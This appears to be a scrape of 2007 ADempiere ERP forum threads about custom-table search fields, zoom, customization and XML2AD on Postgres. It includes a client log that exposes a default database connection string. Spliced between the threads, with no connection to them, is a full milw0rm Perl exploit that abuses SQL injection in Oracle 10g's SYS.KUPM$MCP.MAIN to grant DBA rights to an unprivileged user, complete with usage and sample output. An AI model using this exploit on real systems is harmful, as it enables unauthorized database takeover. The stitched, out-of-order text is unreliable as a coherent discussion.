go to window "Table and Column" Find your table and column and set Reference as "Search".

Kind regards,
Trifon

2007-03-22 14:27:12 UTC

:((did already

2007-03-22 14:47:31 UTC

hi Mahir,

>:((did already

It looks that problem is somewhere else.

Please increase log level and try to find if there is any error or strnage message.

Kind regards,
Trifon

2007-03-22 15:00:33 UTC

15:58:43.329 VLookup.setValue: XX_HR_CONTRACTTYPE_ID=null [13]
15:58:43.329 VLookup.setValue: XX_HR_JOBPOST_ID=null [13]
15:58:43.329 VLookup.setValue: XX_HR_EMPLOYEE_ID=null [13]
15:58:43.329 GridTab.fireDataStatusChanged: DataStatusEvent - NavigateOrUpdate : -

1/0 [13]
15:58:43.329 APanel.dataStatusChanged: -1/0 [13]
15:58:43.329 APanel.setStatusLine: Navigate or Update record [13]
15:58:43.329 VTabbedPane.evaluate: [13]
15:58:43.329 GridController.dataStatusChanged: (MTab #0 HR Ugovori (1000013))
Col=-1: DataStatusEvent - NavigateOrUpdate : -1/0 [13]
15:58:43.329 AWindow.setBusy: AWindow_1000010 - false [13]
15:58:43.329 APanel.stateChanged: fini [13]
15:58:43.345 VTabbedPane.evaluate: [13]
15:58:43.345 APanel.initPanel: fini - java.awt.Dimension[width=885,height=336] [13]
15:58:44.673 APanel.actionPerformed: New - 16 [11]
15:58:44.673 AWindow.setBusy: AWindow_1000010 - true [11]
15:58:44.673 APanel.cmd_new: copy=false [11]
15:58:44.673 APanel.cmd_save: Manual=false [11]
15:58:44.673 GridController.stopEditor: (MTab #0 HR Ugovori (1000013))
TableEditing=false [11]
15:58:44.689 GridTab.dataSave: #0 - row=-1 [11]
15:58:44.689 GridTable.dataSave: NoNeed - Changed=false, Row=-1 [11]
15:58:44.689 GridTab.dataNew: #0 [11]
15:58:44.689 GridTable.dataNew: Current=-1, Copy=false [11]
15:58:44.689 GridTable.dataSave: Row=-2, Changed=-1/false [11]
15:58:44.689 GridField.getDefault: [SystemPreference] AD_Client_ID=1000000 [11]
15:58:44.689 VLookup.setValue: AD_Client_ID=1000000 [11]
15:58:44.689 GridField.getDefault: [SystemPreference] AD_Org_ID=1000006 [11]
15:58:44.689 VLookup.setValue: AD_Org_ID=1000006 [11]
15:58:44.689 GridField.getDefault: [NONE] XX_CONTRACT_ABOUT [11]
15:58:44.689 GridField.getDefault: [NONE] XX_CONTRACT_BENEFITS [11]
15:58:44.689 GridField.getDefault: [NONE] XX_CONTRACT_DATEFROM [11]
15:58:44.689 GridField.getDefault: [NONE] XX_CONTRACT_DATOTO [11]
15:58:44.689 GridField.getDefault: [NONE] XX_CONTRACT_NO [11]
15:58:44.689 GridField.getDefault: [NONE] XX_CONTRACT_SALARY [11]
15:58:44.689 GridField.getDefault: [ID=null] XX_HR_CONTRACTTYPE_ID [11]
15:58:44.689 VLookup.setValue: XX_HR_CONTRACTTYPE_ID=null [11]
15:58:44.689 GridField.getDefault: [ID=null] XX_HR_JOBPOST_ID [11]
15:58:44.689 VLookup.setValue: XX_HR_JOBPOST_ID=null [11]
15:58:44.689 GridField.getDefault: [IsActive] IsActive=Y [11]
15:58:44.689 GridField.getDefault: [ID=null] XX_HR_EMPLOYEE_ID [11]
15:58:44.689 VLookup.setValue: XX_HR_EMPLOYEE_ID=null [11]
15:58:44.689 GridField.getDefault: [NONE] Created [11]
15:58:44.689 GridField.getDefault: [NONE] CreatedBy [11]
15:58:44.704 GridField.getDefault: [NONE] Updated [11]
15:58:44.704 GridField.getDefault: [NONE] UpdatedBy [11]
15:58:44.704 GridTable.dataNew: Current=-1, New=0 [11]
15:58:44.704 GridTab.dataStatusChanged: #0 - DataStatusEvent - Inserted : +*0/1 [11]
15:58:44.704 GridTable.dataNew: Current=-1, New=0 - complete [11]
15:58:44.704 GridTab.setCurrentRow: Row=0 - fire=true [11]

15:58:44.704 VLookup.setValue: AD_Client_ID=1000000 [11]
15:58:44.704 VLookup.setValue: AD_Org_ID=1000006 [11]
15:58:44.704 WFActivity.loadActivities: #0(0ms) [13]
15:58:44.704 AMenu.updateInfo: Total VM Memory 48,832 kB - Free 19,062 kB,
Processors=1, Requests=0, Notes=0, Activities=0, ademsrv {ademsrv-ademp-adempiere}
[13]
15:58:44.704 VLookup.setValue: XX_HR_CONTRACTTYPE_ID=null [11]
15:58:44.704 VLookup.setValue: XX_HR_JOBPOST_ID=null [11]
15:58:44.704 VLookup.setValue: XX_HR_EMPLOYEE_ID=null [11]
15:58:44.704 VTable.propertyChange: CurrentRow=0 from -1 [11]
15:58:44.720 GridController.valueChanged: (MTab #0 HR Ugovori (1000013)) Row in
Table=0, in Model=0 [11]
15:58:44.720 VTable.propertyChange: CurrentRow=0 from -1 [11]
15:58:44.720 GridTab.fireDataStatusChanged: DataStatusEvent - Inserted : +*1/1 [11]
15:58:44.720 APanel.dataStatusChanged: +*1/1 [11]
15:58:44.720 APanel.setStatusLine: Inserted [11]
15:58:44.720 VTabbedPane.evaluate: [11]
15:58:44.720 GridController.dataStatusChanged: (MTab #0 HR Ugovori (1000013))
Col=-1: DataStatusEvent - Inserted : +*1/1 [11]
15:58:44.720 AWindow.setBusy: AWindow_1000010 - false [11]
15:58:44.767 MSystem.info: 4180@mahirm (1.5.0_11-b03) Up=49.580 [13]
15:58:44.767 MSystem.info: Threads=18, Peak=22, Demons=14, Total=38 [13]
15:58:46.267 APanel.actionPerformed: Multi - 16 [11]
15:58:46.267 AWindow.setBusy: AWindow_1000010 - true [11]
15:58:46.267 GridController.stopEditor: (MTab #0 HR Ugovori (1000013))
TableEditing=false [11]
15:58:46.282 GridController.dynamicDisplay: MTab #0 HR Ugovori (1000013) -
Rows=1 [11]
15:58:46.282 VLookup.setValue: AD_Client_ID=1000000 [11]
15:58:46.282 VLookup.setValue: AD_Org_ID=1000006 [11]
15:58:46.282 GridController.dynamicDisplay: MTab #0 HR Ugovori (1000013) - fini -
complete [11]
15:58:46.282 AWindow.setBusy: AWindow_1000010 - false [11]
15:58:48.814 VLookup.actionPerformed: XX_HR_EMPLOYEE_ID - ,
ComboValue=null [11]
15:58:48.814 VLookup.actionButton: XX_HR_EMPLOYEE_ID, Zoom=0 () [11]
15:58:48.845 AccessSqlParser.parse: AccessSqlParser[XX_HR_EMPLOYEE|0] [11]
15:58:48.876 InfoGeneral.<init>: WinNo=0 [11]
15:58:48.876 InfoGeneral.<init>: XX_HR_EMPLOYEE - XX_HR_EMPLOYEE_ID -
[11]
-----> Msg.translate: NOT found: XX_HR_EMPLOYEE [11]
15:58:49.861 ADialog.error: Error - No Info Columns [11]
15:58:49.861 : 2: org.compiere.apps.ADialog.error(ADialog.java:198) [11]
15:58:49.861 : 3:
org.compiere.apps.search.InfoGeneral.initInfoTable(InfoGeneral.java:325) [11]
15:58:49.861 : 4: org.compiere.apps.search.InfoGeneral.initInfo(InfoGeneral.java:130)

[11]
15:58:49.861 : 5: org.compiere.apps.search.InfoGeneral.<init>(InfoGeneral.java:62) [11]
15:58:49.861 : 6: org.compiere.apps.search.Info.create(Info.java:98) [11]
15:58:49.861 : 7: org.compiere.grid.ed.VLookup.actionButton(VLookup.java:712) [11]
15:58:49.861 : 8: org.compiere.grid.ed.VLookup.actionPerformed(VLookup.java:575)
[11]
=====> InfoGeneral.initInfoTable: No Info for AD_Table_ID=1000009 -
SELECT c.ColumnName, c.AD_Reference_ID, c.IsKey, f.IsDisplayed,
c.AD_Reference_Value_ID FROM AD_Column c INNER JOIN AD_Table t ON
(c.AD_Table_ID=t.AD_Table_ID) INNER JOIN AD_Tab tab ON
(t.AD_Window_ID=tab.AD_Window_ID) INNER JOIN AD_Field f ON
(tab.AD_Tab_ID=f.AD_Tab_ID AND f.AD_Column_ID=c.AD_Column_ID) WHERE
t.AD_Table_ID=? AND (c.IsKey='Y' OR (f.IsEncrypted='N' AND f.ObsoleteType IS
NULL)) ORDER BY c.IsKey DESC, f.SeqNo [11]
15:58:50.908 MIssue.create: No Info for AD_Table_ID=1000009 - SELECT
c.ColumnName, c.AD_Reference_ID, c.IsKey, f.IsDisplayed,
c.AD_Reference_Value_ID FROM AD_Column c INNER JOIN AD_Table t ON
(c.AD_Table_ID=t.AD_Table_ID) INNER JOIN AD_Tab tab ON
(t.AD_Window_ID=tab.AD_Window_ID) INNER JOIN AD_Field f ON
(tab.AD_Tab_ID=f.AD_Tab_ID AND f.AD_Column_ID=c.AD_Column_ID) WHERE
t.AD_Table_ID=? AND (c.IsKey='Y' OR (f.IsEncrypted='N' AND f.ObsoleteType IS
NULL)) ORDER BY c.IsKey DESC, f.SeqNo [11]
15:58:51.579 MIssue.saveNew: AD_Issue - AD_Issue_ID=1001597 [11]
15:58:53.673 InfoGeneral.dispose: OK=false [11]
15:58:53.673 InfoGeneral.saveSelection: OK=false [11]
15:58:53.673 VLookup.actionButton: XX_HR_EMPLOYEE_ID - Result = null (not
cancelled) [11]
15:58:53.673 VLookup.setValue: XX_HR_EMPLOYEE_ID=null [11]
15:58:55.580 APanel.actionPerformed: Preference - 16 [11]
15:58:55.580 AWindow.setBusy: AWindow_1000010 - true [11]
15:58:55.611 PLAFEditor.setLFSelection: [Adempiere Look & Feel - (c) 2001-2005
Victor Perez - org.adempiere.plaf.AdempiereLookAndFeel] - Adempiere Theme [11]
15:58:55.611 Preference.<init>: Preference [11]
15:58:55.627 Preference.load: [11]
15:58:55.923 VLookup.focusLost: XX_HR_EMPLOYEE_ID (Text)
XX_HR_EMPLOYEE_ID = null - [11]

Host = ademsrv : 1099 (2007-01-23)
LAN: Tunnel=false, Objects=false, Process=false
Database = ademsrv : 1521 / ademp
Schema = adempiere
User/Contact = SuperUser
Role = HRModul Admin
Client = HRModul
Organization = ASA Auto
Date = 2007-03-22 00:00:00

Printer = HP LaserJet P3005 PS
AempiereHome = \Aempiere
Language=[English,Locale=en_US,AD_Language=en_US,DatePattern=MM/DD/YYYY
,DecimalPoint=true]
MClient[1000000-HRModul]
Multi Lingual Documents = false
BaseLanguage = true/true
PDF License=true
Java HotSpot(TM) Client VM 1.5.0_11-b03
Windows XP 5.1 Service Pack 2
=== Environment === 1278380589
Aempiere(r) Release 3.1.4_2007-01-23 -Smart Suite ERP,CRM and SCM- (c) 1999-
2007 Aempiere (r); Implementation: \${env.ADEMPIERE_VERSION} 20070306-1348
- \${env.ADEMPIERE_VENDOR}
mahirm/192.168.109.82
CConnection[name=ademsrv{ademsrv-ademp-
adempiere},AppsHost=ademsrv,AppsPort=1099,Profile=L,type=Oracle,DBhost=ademsr
v,DBport=1521,DBname=ademp,BQ=false,FW=false,FWhost=,FWport=1630,UID=ade
mpiere,PWD=adempiere]
Database=Oracle - Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 -
Production With the Partitioning, OLAP and Data Mining options - Driver =Oracle
JDBC driver - 10.1.0.2.0 - via DataSource
DB_Oracle[jdbc:oracle:thin:@//ademsrv:1521/ademp-
AempiereDS,ImplCache=true,MaxStmts=50]
AppsServerOK=true, DatabaseOK=true

=== Context ===

#AD_Client_ID == 1000000
#AD_Client_Name == HRModul
#AD_Language == en_US
#AD_Org_ID == 1000006
#AD_Org_Name == ASA Auto
#AD_PrintColor_ID == 100
#AD_PrintFont_ID == 130
#AD_PrintPaper_ID == 100
#AD_PrintTableFormat_ID == 100
#AD_Role_ID == 1000000
#AD_Role_Name == HRModul Admin
#AD_Session_ID == 1000467
#AD_User_ID == 100
#AD_User_Name == SuperUser
#C_BP_Group_ID == 1000000
#C_ConversionType_ID == 114
#C_Country_ID == 100
#C_PaymentTerm_ID == 1000000
#C_Region_ID == 142

```

#C_TaxCategory_ID == 1000000
#C_Tax_ID == 1000000
#C_UOM_ID == 100
#Date == 2007-03-22 00:00:00
#GL_Category_ID == 1000000
#M_Locator_ID == 1000000
#M_PriceList_ID == 1000000
#M_Product_Category_ID == 1000000
#Printer == HP LaserJet P3005 PS
#SalesRep_ID == 100
#ShowAcct == Y
#ShowAdvanced == Y
#ShowTrl == N
#StdPrecision == 2
#SysAdmin == Y
#User_Level == CO
#User_Org ==
0,1000000,1000001,1000002,1000003,1000004,1000005,1000006,1000007,1000008,100
0009
#YYYY == Y
$C_AcctSchema_ID == 1000000
$C_Currency_ID == 268
$Element_AC == Y
$Element_OO == Y
$HasAlias == Y
0|WindowName == &Menu
1111|1000111|AD_Client.AD_Client_ID == SELECT
AD_Client.AD_Client_ID,NULL,AD_Client.Name,AD_Client.IsActive FROM
AD_Client WHERE AD_Client.AD_Client_ID IN(1000000,0) AND
AD_Client.AD_Org_ID
IN(1000001,1000009,1000003,1000004,1000006,1000000,0,1000008,1000002,1000005,
1000007) AND AD_Client.AD_Client_ID NOT IN ( SELECT Record_ID FROM
AD_Private_Access WHERE AD_Table_ID = 112 AND AD_User_ID <> 100 AND
IsActive = 'Y' ) ORDER BY 3
1111|1000112|AD_Org.AD_Org_ID == SELECT
AD_Org.AD_Org_ID,NULL,AD_Org.Name,AD_Org.IsActive FROM AD_Org
WHERE AD_Org.AD_Client_ID IN(1000000,0) AND AD_Org.AD_Org_ID
IN(1000001,1000009,1000003,1000004,1000006,1000000,0,1000008,1000002,1000005,
1000007) AND AD_Org.AD_Org_ID NOT IN ( SELECT Record_ID FROM
AD_Private_Access WHERE AD_Table_ID = 155 AND AD_User_ID <> 100 AND
IsActive = 'Y' ) ORDER BY 3
1111|1000120|XX_HR_CONTRACTTYPE.XX_HR_CONTRACTTYPE_ID ==
SELECT
XX_HR_CONTRACTTYPE.XX_HR_CONTRACTTYPE_ID,NULL,XX_HR_CONTR
ACTTYPE.XX_CONTRTYPE_NAME,XX_HR_CONTRACTTYPE.IsActive FROM
XX_HR_CONTRACTTYPE WHERE XX_HR_CONTRACTTYPE.AD_Client_ID

```

```

IN(1000000,0) AND XX_HR_CONTRACTTYPE.AD_Org_ID
IN(1000001,1000009,1000003,1000004,1000006,1000000,0,1000008,1000002,1000005,
1000007) AND XX_HR_CONTRACTTYPE.XX_HR_CONTRACTTYPE_ID NOT IN (
SELECT Record_ID FROM AD_Private_Access WHERE AD_Table_ID = 1000006
AND AD_User_ID <> 100 AND IsActive = 'Y' ) ORDER BY 3
1111|1000121|XX_HR_JOBPOST.XX_HR_JOBPOST_ID == SELECT
XX_HR_JOBPOST.XX_HR_JOBPOST_ID,NULL,XX_HR_JOBPOST.XX_JOBPOST
_NAME,XX_HR_JOBPOST.IsActive FROM XX_HR_JOBPOST WHERE
XX_HR_JOBPOST.AD_Client_ID IN(1000000,0) AND
XX_HR_JOBPOST.AD_Org_ID
IN(1000001,1000009,1000003,1000004,1000006,1000000,0,1000008,1000002,1000005,
1000007) AND XX_HR_JOBPOST.XX_HR_JOBPOST_ID NOT IN ( SELECT
Record_ID FROM AD_Private_Access WHERE AD_Table_ID = 1000003 AND
AD_User_ID <> 100 AND IsActive = 'Y' ) ORDER BY 3
2|0|AD_Tab_ID == 1000013
2|0|AD_Table_ID == 1000010
2|0|AccessLevel == 3
2|0|Name == HR Ugovori
2|0|SQL == SELECT
AD_Client_ID,AD_Org_ID,XX_CONTRACT_ABOUT,XX_CONTRACT_BENEFITS,
XX_CONTRACT_DATEFROM,XX_CONTRACT_DATOTO,XX_CONTRACT_NO,
XX_CONTRACT_SALARY,XX_HR_CONTRACTTYPE_ID,XX_HR_JOBPOST_ID,I
sActive,XX_HR_EMPLOYEE_ID,Created,CreatedBy,Updated,UpdatedBy FROM
XX_HR_JOB_CONTRACT WHERE XX_HR_JOB_CONTRACT.AD_Client_ID
IN(1000000,0) AND XX_HR_JOB_CONTRACT.AD_Org_ID
IN(1000001,1000009,1000003,1000004,1000006,1000000,0,1000008,1000002,1000005,
1000007) ORDER BY Created
2|0|TabLevel == 0
2|AD_Client_ID == 1000000
2|AD_Org_ID == 1000006
2|AutoCommit == Y
2|AutoNew == N
2|BaseTable_ID == 1000010
2|IsActive == Y
2|IsSOTrx == N
2|WindowName == HR Ugovori
AutoCommit == Y
AutoNew == N
P103|Type == S
P143|C_BPartner_ID == 1000000
P143|C_DocTypeTarget_ID == 1000031
P189|DataType == S
P|C_Country_ID == 136
java.naming.provider.url == jnp://ademsrv:1099

```

==== System ====

awt.toolkit=sun.awt.windows.WToolkit
file.encoding=Cp1252
file.encoding.pkg=sun.io
file.separator=
java.awt.graphicsenv=sun.awt.Win32GraphicsEnvironment
java.awt.printerjob=sun.awt.windows.WPrinterJob
java.class.path=customization.jar;patches.jar;Adempiere.jar;AdempiereCLib.jar
java.class.version=49.0
java.endorsed.dirs=C:\Program Files\Java\jre1.5.0_11\lib\endorsed
java.ext.dirs=C:\Program Files\Java\jre1.5.0_11\lib\ext
java.home=C:\Program Files\Java\jre1.5.0_11
java.io.tmpdir=C:\DOCUME~1\MAHIR~1\MAS\LOCALS~1\Temp\
java.library.path=C:\Program Files\Java\jre1.5.0_11\launch4j-
tmp;. ;C:\WINDOWS\system32;C:\WINDOWS;C:\Program
Files\Java\jdk1.5.0_10\bin;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\synt
em32\WBEM;C:\Program Files\ThinkPad\Utilities;C:\Program
Files\Intel\Wireless\Bin\;C:\Program Files\ATI Technologies\ATI Control
Panel;C:\Program Files\PC-Doctor for Windows\;C:\Program Files\IBM
ThinkVantage\Client Security Solution;C:\Program Files\MySQL\MySQL Server
4.1\bin;C:\Program Files\QuickTime\QTSystem\;C:\Program Files\Common
Files\Adobe\AGL;C:\Program Files\Common Files\Teleca Shared\bin
java.runtime.name=Java(TM) 2 Runtime Environment, Standard Edition
java.runtime.version=1.5.0_11-b03
java.specification.name=Java Platform API Specification
java.specification.vendor=Sun Microsystems Inc.
java.specification.version=1.5
java.vendor=Sun Microsystems Inc.
java.vendor.url=http://java.sun.com/
java.vendor.url.bug=http://java.sun.com/cgi-bin/bugreport.cgi
java.version=1.5.0_11
java.vm.info=mixed mode
java.vm.name=Java HotSpot(TM) Client VM
java.vm.specification.name=Java Virtual Machine Specification
java.vm.specification.vendor=Sun Microsystems Inc.
java.vm.specification.version=1.0
java.vm.vendor=Sun Microsystems Inc.
java.vm.version=1.5.0_11-b03
line.separator=

oracle.jdbc.V8Compatible=true
os.arch=x86
os.name=Windows XP
os.version=5.1
path.separator=;
sun.arch.data.model=32
sun.boot.class.path=C:\Program Files\Java\jre1.5.0_11\lib\rt.jar;C:\Program

Files\Java\jre1.5.0_11\lib\i18n.jar;C:\Program
Files\Java\jre1.5.0_11\lib\sunrsasign.jar;C:\Program
Files\Java\jre1.5.0_11\lib\jsse.jar;C:\Program
Files\Java\jre1.5.0_11\lib\jce.jar;C:\Program
Files\Java\jre1.5.0_11\lib\charsets.jar;C:\Program Files\Java\jre1.5.0_11\classes
sun.boot.library.path=C:\Program Files\Java\jre1.5.0_11\bin
sun.cpu.endian=little
sun.cpu.isalist=pentium_pro+mmx pentium_pro pentium+mmx pentium i486 i386 i86
sun.desktop=windows
sun.io.unicode.encoding=UnicodeLittle
sun.java.launcher=SUN_STANDARD
sun.jnu.encoding=Cp1250
sun.management.compiler=HotSpot Client Compiler
sun.os.patch.level=Service Pack 2
user.country=GB
user.dir=C:\workspace\Adempiere_314\adempiere\Adempiere\lib
user.home=C:\Documents and Settings\mahir.masala
user.language=en
user.name=mahir.masala
user.timezone=Europe/Belgrade
user.variant=

2007-03-22 15:07:09 UTC

Hi Mahir,

Please open window "Table and Column" find table "XX_HR_EMPLOYEE"

and set one of it's columns as "Identifier". Usualy this is Name or Value.

After this please try again.

Kind regards,
Trifon

2007-03-22 15:14:27 UTC

already did, the first thing that i did was that (i remembered when you showed me here)..
still nothing :(
driving me crazy

2007-03-22 15:23:34 UTC

Hi Mahir,

let me jump into the discussion, because it is really easy to achieve what you wanna do.

The way of defining Search as the reference is ok, but you also have to select a valid referencevalue (the dropdown below reference).

Have a look at the reference C_BPpartner, duplicate it and modify it to your needs.

And trifen already mentioned to set the column you link to in your employee table must be set as an Identifier.

PS: Hope I am not totally wrong.

Best regards Johannes

2007-03-22 18:36:48 UTC

Johannes, search columns without reference are treated as table direct but with search window.

If you defined the column as Search and it still appears as a list instead of a window, maybe you must log out completely and login again. This could happen if you have marked preference "Cache Windows". Cache windows don't close windows, just hide them.

Regards,

Carlos Ruiz

2007-03-23 07:11:36 UTC

i know it should be easy and no big deal at all, but im now sure why it isnt working :(yes of course we defined reference to employee table, identical to BP reference.

reference work without any problem, i tried to use drop down list and it works fine,...

2007-04-02 08:32:06 UTC

ok, we have a question about adding our new tables to adempiere and its AD.

we added our tables via table menu, and created fields and everything. (windows tabs etc) and everything is working fine, except some adempiere futures, like this search field and zoom funtinality. so my question is do we need to make model classes of our imported tables (like described here: <http://www.adempiere.com/wiki/index.php/NewWindow?>) or is this something completely different

because when we programed our own search box it worked fine, but now we are stuck at the zoom functionality, so we are doing something seriously wrong obviously?

2007-04-02 08:43:00 UTC

Hi,

If you means 'Generate Model' then yes, this is the recommended approach.

Regards,
Low

2007-04-02 11:28:37 UTC

If zoom-to seems to be disabled, it is usually because there is no default window chosen for your custom table. On Table & Column, Table tab, select the Window you have generated in the field marked Window. Now zoom-to will load that window passing in the ID value from the current record.

Regards,
Joel H

2007-04-02 14:22:47 UTC

unfortunately zoom is not working doing it like you suggested joel :(so thats why I asked if maybe the problem is because we did not generated model (classes).

2007-03-30 09:58:09 UTC

On what "complicated change level"
that Application Dictionary reach its maximum limitation,
so we must Modifying ADempiere Source Code?

thank you...
sin-sin

2007-03-30 12:00:43 UTC

Hi,

from my experience most core source changes are related to UI enhancements. Most other customizations can be done with AD alone (new fields/hide existing fields...) and callouts (calculation of field values...) or own processes/validators. Callouts, processes and validators require custom java code but don't change existing adempiere code - they are quite easy to maintain/migrate.

Regards,
Karsten

2007-04-02 01:47:56 UTC

thank you Karsten,
sorry... i just forget my sin57ff account password :-)
this my new account: sin128

UI = user interfaces ?
i read that we can add form/windows by AD, but
can we create new submenu item, like "employee payroll" by AD ?
and then create payroll function by adding tables, windows, fields, report by AD ?

thank you
sin-sin...

2007-04-02 05:36:50 UTC

Hi,

yes UI=User Interface

and yes to all of your questions :) Of course you will need some java code for the logic.

See here for some more information:

<http://www.adempiere.com/wiki/index.php/Tutorials>

<http://www.adempiere.com/wiki/index.php/NewWindow> (perhaps we should enhance that on how to add the new window to the menu)

Regards,
Karsten

2007-04-02 09:56:31 UTC

thank you Karsten...

with Application Dictionary on ADempiere,
for what reason we still need Eclipse?

what is the difference between Swing and Eclipse?
why don't use Swing?

thank you
sin-sin...

2007-04-02 10:46:31 UTC

Hi,

we need Eclipse or any other Java IDE to develop Adempiere and in your case to develop

the callout/process classes for the logic of your enhancements.

ADempiere does use Swing for the UI (its all Swing in fact) - but the UI is generated from the database (AD) information and is not hardcoded.

Difference between Eclipse and Swing: Eclipse is a (Java) IDE (and a C++ IDE and an open development platform and... -<http://www.eclipse.org/>)

Swing is a GUI toolkit for Java - [http://en.wikipedia.org/wiki/Swing_\(Java\)](http://en.wikipedia.org/wiki/Swing_(Java))

Regards,
Karsten

2007-04-03 10:10:03 UTC

thank you Karsten...

in Visual Basic, we can add components from third party...

can i do that in Eclipse?

the additional components is free? where can i download it?

thank you...
sin-sin

2007-04-03 10:29:43 UTC

Hi,

in Eclipse it is called plugin and there are tons of it:

http://www.eclipseplugincentral.com/Web_Links+main.html

in Adempiere we have 2Pack modules and you are very welcome to develop them and share with the community... You can find the 2Pack user guide here:

http://www.oslabs.org/index.php?option=com_remository&Itemid=29&func=select&id=4

2Pack is already integrated in the actual Adempiere versions.

Regards,
Karsten

2007-04-03 14:28:01 UTC

```
#!/usr/bin/perl
#
# Remote Oracle KUPM$MCP.MAIN exploit (10g)
#
# Grant or revoke dba permission to unprivileged user
#
```

```

# Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0"
#
# REF: http://www.red-database-security.com/
#
# AUTHOR: Andrea "bunker" Purificato
# http://rawlab.mindcreations.com
#
# DATE: Copyright 2007 - Tue Mar 27 10:47:14 CEST 2007
#
# Oracle InstantClient (basic + sdk) required for DBD::Oracle
#
# bunker@fin:~$ perl kupm-mcpmain.pl -h localhost -s test -u bunker -p **** -r
# [-] Wait...
# [-] Revoking DBA from BUNKER...
# DBD::Oracle::db do failed: ORA-01951: ROLE 'DBA' not granted to 'BUNKER' (DBD
ERROR: OCISstmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at
kupm-mcpmain.pl line 97.
# [-] Done!
#
# bunker@fin:~$ perl kupm-mcpmain.pl -h localhost -s test -u bunker -p **** -g
# [-] Wait...
# [-] Creating evil function...
# [-] Go ...(don't worry about errors)!
# DBD::Oracle::st execute failed: ORA-06512: at "SYS.KUPM$MCP", line 874
# ORA-06512: at line 3 (DBD ERROR: OCISstmtExecute) [for Statement "
# BEGIN
# SYS.KUPM$MCP.MAIN(' AND 0=BUNKER.own--');
# END;"] at kupm-mcpmain.pl line 119.
# [-] YOU GOT THE POWAH!!
#
# bunker@fin:~$ perl kupm-mcpmain.pl -h localhost -s test -u bunker -p **** -r
# [-] Wait...
# [-] Revoking DBA from BUNKER...
# [-] Done!
#

```

```

use warnings;
use strict;
use DBI;
use Getopt::Std;
use vars qw/ %opt /;

```

```

sub usage {
print <<"USAGE";

```

```

Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]

```

Options:

-h <host> target server address

-s <sid> target sid name

-u <user> user

-p <passwd> password

-g|r (g)rant dba to user | (r)evolve dba from user

[-P <port> Oracle port]

USAGE

exit 0

}

```
my $opt_string = 'h:s:u:p:grP:';
```

```
getopts($opt_string, \%opt) or &usage;
```

```
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
```

```
&usage if ( !$opt{g} and !$opt{r} );
```

```
my $user = uc $opt{u};
```

```
my $dbh = undef;
```

```
if ($opt{P}) {
```

```
$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u},
```

```
$opt{p}) or die;
```

```
} else {
```

```
$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
```

```
}
```

```
my $sqlcmd = "GRANT ALL PRIVILEGE, DBA TO $user";
```

```
print "[-] Wait...\n";
```

```
if ($opt{r}) {
```

```
print "[-] Revoking DBA from $user...\n";
```

```
$sqlcmd = "REVOKE DBA FROM $user";
```

```
$dbh->do( $sqlcmd );
```

```
print "[-] Done!\n";
```

```
$dbh->disconnect;
```

```
exit;
```

```
}
```

```
print "[-] Creating evil function...\n";
```

```
$dbh->do( qq{
```

```
CREATE OR REPLACE FUNCTION OWN RETURN NUMBER
```

```
AUTHID CURRENT_USER AS
```

```
PRAGMA AUTONOMOUS_TRANSACTION;
```

```
BEGIN
```



```
EXECUTE IMMEDIATE '$sqlcmd'; COMMIT;
RETURN(0);
END;
});

print "[-] Go ...(don't worry about errors)!\n";
my $sth = $dbh->prepare( qq{
BEGIN
SYS.KUPM\MCP.MAIN(" AND 0=$user.own--',"");
END;});
$sth->execute;
$sth->finish;
print "[-] YOU GOT THE POWAH!!\n";
$dbh->disconnect;
exit;
```

milw0rm.com [2007-03-27]

2007-03-07 09:36:30 UTC

Dear all,
I wish to add additional field in table M_STORAGE for further grouping purpose (Difference with Attribute).

However, I can't figure out how Compiere update the M_STORAGE, M_MOVEMENT, M_MOVEMENTLINE, M_TRANSACTION .. etc table after complete an Inventory Move.

Can somebody point me out how to do it?

Regards,

2007-03-08 21:29:33 UTC

Each entity has a MClass in the org.compiere.model package ... so an Invoice is C_INVOICE in the DB and has a class MInvoice in the mentioned package. In this class you will find methods for prepareIt, CompleteIt, closeIt etc In these methods are the logic run when the status is changed. The Wf engine is responsible [I think] for actually calling these methods.

colin

2007-03-08 21:30:52 UTC

PS. the MClasses extend the X_M_Classes which handle the actual getter & setters for persistence

colin

2007-04-04 12:45:29 UTC

Hi Colin,
Thank you very much for your reply. I am totally zero to Java programming.. Still trying hard to study the scripts..

Best regards,
dorris

2007-04-05 13:55:41 UTC

Hello developers!

Please tell me, how I can use XML2AD with Postgres? Where I must change values for connection to Postgres Base?

Sergey Vishniakov

ADempiere.LV Team

2007-04-07 05:49:03 UTC

Sergey,

As far as I know, if you don't supply enough connection parameters to XML2AD it uses the Adempiere.properties file to find out the database to connect to. But if you wish to specify it strictly, you may do it through input arguments. For more info, see XML2AD.pdf or see main() inside XML2AD.java.

Warm regards,
Bahman

2007-04-07 06:55:11 UTC

Hello Bahman.

As I know... we must insert correct values into build*.sh & build*.properties files... build*.properties contains strings about current connection... and I want to know, how I must change this strings for Adempiere PostgreSQL database?

Sergey Vishniakov

ADempiere.LV Team

2007-04-07 09:07:28 UTC

Hi Sergey,

In order to do so you should:

1. In [XML2AD.java main()] change the line
CConnection cc = CConnection.get(Database.DB_ORACLE, args[1],
Integer.valueOf(args[2]).intValue(), args[3], args[4], args[5]);
to
CConnection cc = CConnection.get(Database.DB_POSTGRESQL, args[1],
Integer.valueOf(args[2]).intValue(), args[3], args[4], args[5]);
2. In [build.properties] define Pg connection parameters (i.e. host, port, database, user, pwd)
3. Change or create a new [build.xml] file in the way that all oracle connection parameters are replaced with Pg ones.
4. In [build.xml] in <target name="createDB" and "alterDB"> change the JDBC URL to jdbc:postgresql://host:port/database (for more info see <http://jdbc.postgresql.org/documentation/80/connect.html>)
5. In [build.xml] replace oracle.jar with postgresql.jar

I don't know if there's a simpler way. Hope it helps.

Warm regards,
Bahman

2007-04-07 13:44:51 UTC

Tnx, Bahman.

I think Trifon helps us.

Sergey Vishniakov

ADempiere.LV Team

2007-04-05 12:59:03 UTC

Hi,

does anyone know is it possible to make purchase order for product/item for known customer.

E.g. Customer order from us an item. We does not have item on stock, so we enter purchase order to our vendor but we need to specify for which customer order is. So when we will receive an item, it will be reserved for customer.

Thanks,
Elvis Haracic

2007-04-05 13:14:38 UTC

